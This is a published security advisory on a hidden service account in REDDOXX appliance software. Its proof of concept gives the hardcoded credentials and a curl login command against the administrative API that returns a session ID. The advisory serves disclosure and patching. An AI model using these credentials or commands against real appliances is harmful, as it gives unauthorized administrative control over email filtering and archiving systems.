Undocumented Administrative Service Account in REDDOXX Appliance

RedTeam Pentesting discovered an undocumented service account in the REDDOXX appliance software, which allows attackers to access the administrative interface of the appliance and change its configuration.

Details

• Product: REDDOXX Appliance
• Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
• Fixed Versions: Version 2032 SP2
• Vulnerability Type: Hidden Service Account
• Security Risk: high
• Vendor URL: https://www.reddoxx.com/
• Vendor Status: patch available
• Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-007
• Advisory Status: published
• CVE: GENERIC-MAP-NOMATCH
• CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction

“REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement.”

(from the vendor’s homepage)

More Details

Through the ISO provided on the vendor’s homepage (https://my.reddoxx.com/documents/manual/en/custdl/product-downloads), it was possible to analyze the files in a typical REDDOXX appliance (https://www.reddoxx.com/en/) installation. As part of this process, hardcoded credentials for a service account were found in a .NET binary file. With these credentials, it was possible to authenticate against the administrative interface.

Proof of Concept

The following curl command-line shows an unsuccessful login attempt with invalid credentials against the administrative interface:

$ curl --silent -H 'Content-Type: application/json' --data '{"UserName": "redteam@local", "Password":"redteam"}' http://www.example.com/api/v1/proxy/auth/credentials | jq .
{
  "ResponseStatus": {
    "ErrorCode": "Unauthorized",
    "Message": "Invalid UserName or Password",
    "Errors": []
  }
}

When the credentials extracted from the binaries are provided however, the webserver returns a session ID instead of an error message, indicating a successful login:

$ curl --silent -H 'Content-Type: application/json' --data '{"UserName": "rdx-build-in-service-user@local", "Password":"rdx!1ntern4l"}' http://www.example.com/api/v1/proxy/auth/credentials | jq .
{
  "SessionId": "Qm5odfSFB2tVh8De6HjD",
  "UserName": "rdx-build-in-service-user@local",
  "DisplayName": "",
  "ResponseStatus": {}
}

Workaround

None

Fix

Update the appliance software to Version 2032 SP2.

Security Risk

The hidden service account allows attackers to authenticate to the administrative interface of the appliance. With this level of access, the appliance can be completely reconfigured. For example, core functionalities, such as spam filtering or archiving, can be disabled. RedTeam Pentesting assumes that the hidden service account is present on all REDDOXX installations and rates its presence as a high risk.

Timeline

• 2017-05-17 Vulnerability identified
• 2017-05-23 Customer approved disclosure of vulnerability
• 2017-05-26 Customer provided details of vulnerability to vendor
• 2017-06-21 Vulnerability reported as fixed by vendor
• 2017-07-24 Advisory released

RedTeam Pentesting GmbH

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